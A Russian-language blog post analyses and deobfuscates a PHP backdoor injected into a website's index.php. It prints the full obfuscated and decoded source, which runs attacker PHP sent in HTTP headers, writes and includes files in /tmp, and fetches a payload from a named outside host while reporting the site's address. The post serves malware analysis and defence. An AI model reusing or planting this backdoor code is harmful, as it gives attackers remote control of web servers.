Это уже логи. Не знаю что это за хосты, если кто знает - оставьте плиз комент, буду очень признателен. Данные whois совсем не удовлетворили моего интереса, а вот спать спокойно хотелось бы. Предположительно, это управляющие хосты, которые могли использовать зловредный скрипт или результат его работы. Ведь не трудно догадаться, что заглянув на сайт я активировал код аккуратно лежащий в index.php. Причем, он не заменял основной код, а просто выполнялся вперед него. Так что визуально он себя никак не выдавал.

Я понял, что попал в потенциальную ловушку. Пожалуй, это самый напряженный момент в этой истории. По трагическому совпадению, антивирус был отключен на тот момент. Это очень неприятно, когда осознаешь, что ты оказался абсолютно беззащитным перед неизвестной угрозой. Начинаешь вспоминать во сколько ты впервые зашел на страницу, что и где ты успел ввести, куда зайти... За 15 минут я успел открыть ещё одну консоль сервера, а сижу через другой сервер, зашел в почтовый ящик.. теоретически могли уйти сразу три критичных пароля. Если действия с этими паролями были бы автоматизированны, не имели задержки и направлены на однозначную деструкцию информации, то я бы приобрел очень серьезные проблемы. Поэтому срочный запуск антивируса, беглый осмотр списка процессов и срочная деобфускация кода, как единственная надежда на то, что самого страшного не случилось. Но прежде чем деобфусфировать - я пробежался по скрипту с дебагером, увидел что происходит попытка загрузки некоторого файла с удаленного хоста. К счастью, быстрая проверка подтвердила, что удаленный хост не может быть доступен (приостановлено делегирование зоны). Значит появилось время для всестороннего анализа кода. Честно говоря, по душе мне это занятие.

Смотрим код:

<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode

Этого для начала достаточно. После base64_decode идут закодированные функцией base64_encode, то есть кодированные способом MIME base64) данные. Очень рекомендую использовать любой редактор с подсветкой синтаксиса. Что бы поставив курсор на скобке после eval увидеть, где заканчивается граница функции. Это позволит разделить нам весь скрипт на две части. То что относится к eval и то что идёт после. К eval относится:

<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc0lidlA5RkJEVVJoUVg5cmFHYUpWZEVIZEp6c3E3bygkek5WNUxwMHowclBqRzBhdHhMcHhBTWViRTlSaTZDTklEQ1FqdnJqYloyZHhpM0JYM0RBNDBhMDdPRWFDYTM4MSl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJHpOVjVMcDB6MHJQakcwYXR4THB4QU1lYkU5Umk2Q05JRENRanZyamJaMmR4aTNCWDNEQTQwYTA3T0VhQ2EzODEpO307ZnVuY3Rpb24gZUFmQjJmZFVRSkVQUFNGYXFtbkJtb2gyeG9IZXZnc21RSkQxZGFkZ1JCUjdxc2pOZ2VPR1Q4NmxhTGxvTEUxbCgkbENpaWV6c0YzYm1Uam9pNjlHWkxFemQzaTg1WGNGYnhBbE9EZ05neGRpQTRCUWZzTW5yQXRYdDFwVFpTZVNUMCl7cmV0dXJuICRsQ2lpZXpzRjNibVRqb2k2OUdaTEV6ZDNpODVYY0ZieEFsT0RnTmd4ZGlBNEJRZnNNbnJBdFh0MXBUWlNlU1QwO307'));

Отлично. Теперь логично заменить функцию eval на функцию print. Это позволит нам понять, что же там выполняется и избавиться от base64_decode, оставив данные в явном виде. А открытый код уже можно привести в читаемый структурированный код. Итого у нас получилось:

<?php /*versio:1.12*/
if (!defined ("determinator"))
{
    eval('function uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq($ql16OGA3QfIv2QXJ6dHAug8JmfrEpaiDcrmEFrOdTVTSgR1CoJfAUQP3jGzNEUxl)
        {
            return eval($ql16OGA3QfIv2QXJ6dHAug8JmfrEpaiDcrmEFrOdTVTSgR1CoJfAUQP3jGzNEUxl);
        };
          function hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o($zNV5Lp0z0rPjG0atxLpxAMebE9Ri6CNIDCQjvrjbZ2dxi3BX3DA40a07OEaCa381)
          {
              return base64_decode($zNV5Lp0z0rPjG0atxLpxAMebE9Ri6CNIDCQjvrjbZ2dxi3BX3DA40a07OEaCa381);
          };
          function eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l($lCiiezsF3bmTjoi69GZLEzd3i85XcFbxAlODgNgxdiA4BQfsMnrAtXt1pTZSeST0)
          {
              return $lCiiezsF3bmTjoi69GZLEzd3i85XcFbxAlODgNgxdiA4BQfsMnrAtXt1pTZSeST0;
          };
    ');

Неплохо. Легче не стало, но понятно каким методами оперирует автор. Гигантские имена переменных и такие же названия функций. Что-либо переименовывать без представления логики работы скрипта нельзя. Для начала просто заменяем первую часть скрипта на то что у нас вышло. Проверяем синтаксис и убеждаемся в работоспособности кода. Здесь тоже eval и его тоже можно попытаться вывести на экран, но полной картины работы скрипта это не даст.

Теперь долго смотрим на начало строки второй части.. Я долго не мог понять что это вообще такое:

uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(

Но как-то глаз зацепился за первые четыре символа и нашел совпадение.... в названии первой функции из первой части. Значит в скобках должна начинаться передача единственного параметра. Но судя по тому, что переданный параметр имеет признаки нескольких переменных и составных выражений, при этом используется экранирование спец-символо, всё не так очевидно:

("\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX=\"ID8+

Опять ищем границы функции uP1PQ.... убеждаемся, что вызовом данной функции заканчивается цикл if и завершается код скрипта. Понятно что аргументом функции передается целое выражение. Поэтому его логично избавить это экранирования и попытаться вычислить его отдельно. У меня в итоге вышел следующий код:

<?php

$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX="ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3";
$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD=$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX."VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4k";
$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO=$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD."dXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCg";
$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU=$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO."kJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7";
$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m=$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU."ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQ";
$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9=$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m."kJfQ0KCQkJaWYgKCRjbWQ9JGRlKEAkX1NFUlZFUlsnSFRUUF9VUERBVEUnXSkpe3VwZCgkdG1wLCRjbWQpO30NCgkJCWlmICgkY21kPSRkZShAJF9TRVJWRVJbJ0hUVFBfUFVUQ09ERSddKSl7d3JpdGUoJHRtcCwkY21kKTt9DQoJCX0NCgkJJHVyaT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=";

echo $cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9;

?>

То есть всего лишь навсего постоянная конкатенация нескольких огромных строк. Эта строка является основным "движком этого скрипта". Всё остальное оболочки-обфускаторы.

В конце второй части видно, что данная строка запакована в последовательности функций:

uP1PQo(uP1PQo..(eAfB2..(hoe17...($cjULv3))))

Вот теперь зная начальные значения всех переменных, можно всё разименовывать на свой лад. Кстати, я сразу внимания не обратил, но есть ещё один хитрый ход. Третья функция вообще ничего не делает, она не нужна, она только сбивает с толку, усложняя визуальное восприятие кода. Функция просто возвращает пришедшее к ней значение. Без изменений. Поэтому её можно просто стереть и упростить итоговый код второй части до:

uP1PQo(uP1PQo..(hoe17...($cjULv3)))

Для наглядности и удобства дальнейшего дебага я разложил все составные операторы и разнес их по разным строчкам. В итоге у меня получилось вот что:

<?php /*versio:1.12*/
if (!defined ("determinator"))
{
    eval('function pervaya($perem1)
        {
            return eval($perem1);
        };
          function vtoraya($perem2)
          {
              return base64_decode($perem2);
          };
    ');

    $hax="ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4kdXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCgkJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQkJfQ0KCQkJaWYgKCRjbWQ9JGRlKEAkX1NFUlZFUlsnSFRUUF9VUERBVEUnXSkpe3VwZCgkdG1wLCRjbWQpO30NCgkJCWlmICgkY21kPSRkZShAJF9TRVJWRVJbJ0hUVFBfUFVUQ09ERSddKSl7d3JpdGUoJHRtcCwkY21kKTt9DQoJCX0NCgkJJHVyaT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=";
/*$hax = <<<EOL
?><?php
if (!defined('determinator')){
    function filter(){
        foreach ($_GET as $k=>$v){
            if (strpos($v,'union')){$_GET[$k]='';}
            elseif (strpos($v,'select')){$_GET[$k]='';}
        }
    }
    function getfile($url){
        if (ini_get('allow_url_fopen') == '1') {
            return @file_get_contents($url);
        }
        elseif (function_exists('curl_init')){
            $ch = @curl_init();
            @curl_setopt($ch, CURLOPT_URL,$url);
            @curl_setopt($ch, CURLOPT_HEADER,false);
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,5);
            if ($data = @curl_exec($ch)) {return $data;}
            @curl_close($ch);
        }
        else {
            return '<img src="'.$url.'" width="1px" height="1px" />';
        }
    }
    function upd($file,$url){
        $h0=@fopen($file,'w');
        @fclose($h0);
        if (@is_file($file)){    write($file,getfile($url)) ;};
    }
    function write($file,$content){
        if (@is_file($file)){
            $h=@fopen($file,'w');
            @fwrite($h,$content);
            @fclose($h);
            @header('Y_Out: b2s=');
        }
    }
    ini_set('display_errors',0);
    $type='bot';
    $ver='1.12';
    $en="base64_encode";
    $de="base64_decode";
    $host=strtolower(@$_SERVER["HTTP_HOST"]);
    $sc=@md5($host.PHP_VERSION.$ver.PHP_OS.'4');
    define('determinator',1); filter();
    if ($uri=$host.@$_SERVER['REQUEST_URI']){
        $tmp='/tmp/';
        if (!empty($_ENV['TMP'])) { $tmp = $_ENV['TMP'].'/'; }
        if (!empty($_ENV['TMPDIR'])) { $tmp = $_ENV['TMPDIR'].'/'; }
        if (!empty($_ENV['TEMP'])) { $tmp = $_ENV['TEMP'].'/'; }
        $tmp=$tmp.'.'.$sc;
        if (@$_SERVER["HTTP_Y_AUTH"]==$sc){
            @header('Y_Versio: '.$ver.$type);
            if ($code=$de(@$_SERVER['HTTP_EXECPHP'])){
                @eval($code);
                exit(0);
            }
            if ($cmd=$de(@$_SERVER['HTTP_UPDATE'])){upd($tmp,$cmd);}
            if ($cmd=$de(@$_SERVER['HTTP_PUTCODE'])){write($tmp,$cmd);}
        }
        $uri=@urlencode($uri);
        if (@is_file($tmp)){@include_once ($tmp);}
        else {upd($tmp,"http://"."getprot"."oby"."number."."com"."/i/rem".".php?u=".$uri."&k=".$sc."&t=".$type);}
    }
}
?><?php
EOL;
*/

    $shag1=vtoraya($hax);
    $shag3=pervaya($shag1);
    pervaya($shag3);
}
?>

Переменную $hax сперва хотел записать в heredoc-виде, тогда можно избавиться от вызова второй функции.. Но там тоже надо экранировать многое, поэтому я не стал. Оставил её в виде комментария для наглядности.

После всех проделанных операция алгоритм скрипта предельно понятен. Скрипт без какого-либо пользовательского вывода/ввода (то есть инициировать процесс может случайный заход на страницу) пытается забрать что-то с удаленного сервера, скорее всего это шелл-скрипт. Потому что если записать на сервере его не удается, то скрипт пытается проинклюдить его
в себе. Хотя это могут быть другие php-модули, содержащие, например, экплоиты под особенности конкретного окружения.

Если любые варианты загрузки не проходят (есть ещё вариант с curl), то скрипт аккуратно рапортует о себе на центральный сервер, потому что также есть отдельная функция для непосредственного управления без загрузки дополнительных файлов. Чтобы сервер не ушел так просто в другие руки для управления используются специальные хеши и приметные нестандартные заголовки. Не возьмусь утверждать, но возможно два левых хоста зашедших через 10-15 минут после меня были как раз управляющими.

В моем случае, по тем признакам, что использует скрипт - загрузка проходит. На самом деле нет. После этого скрипт умирает. Хост на который отсылается по умолчанию информация на сейчас не определяется.

О себе рапортует путём имитации загрузки контента с центрального сервера.
Крайне маловероятно, но возможно, что также происходило заражение
компьютеров при посещении, можно посмотреть багтраки за последние пару
месяцев на предмет уязвимостей в стандартных библиотеках браузеров при обработке
изображений. Я заходил под последним на тот момент FireFox.

Антивирусы этот скрипт никак не детектят (специально на virustotal
закидывал - 0/43), хотя обфусцированный скрипт с таким набором признаков
можно бы и "заподозрить".

Совместив логи сервера с картиной произошедшего стало понятно. Компьютер пользователя, которому были предоставлены логин и пароль для доступа к сайту по FTP, имел на борту вирус. Либо использовался FTP-клиент склеенный с программой-трояном. Загрузка с удаленного хоста файлов на сервер не удалась по причине специальных настроек на стороне сервера и недоступности самого хоста. Осталось только понять, откуда же эти два посторонних ip взялись. Есть версии??

Если кому нужна помощь по деобфускации, пишите, буду помогать по мере сил и наличию времени.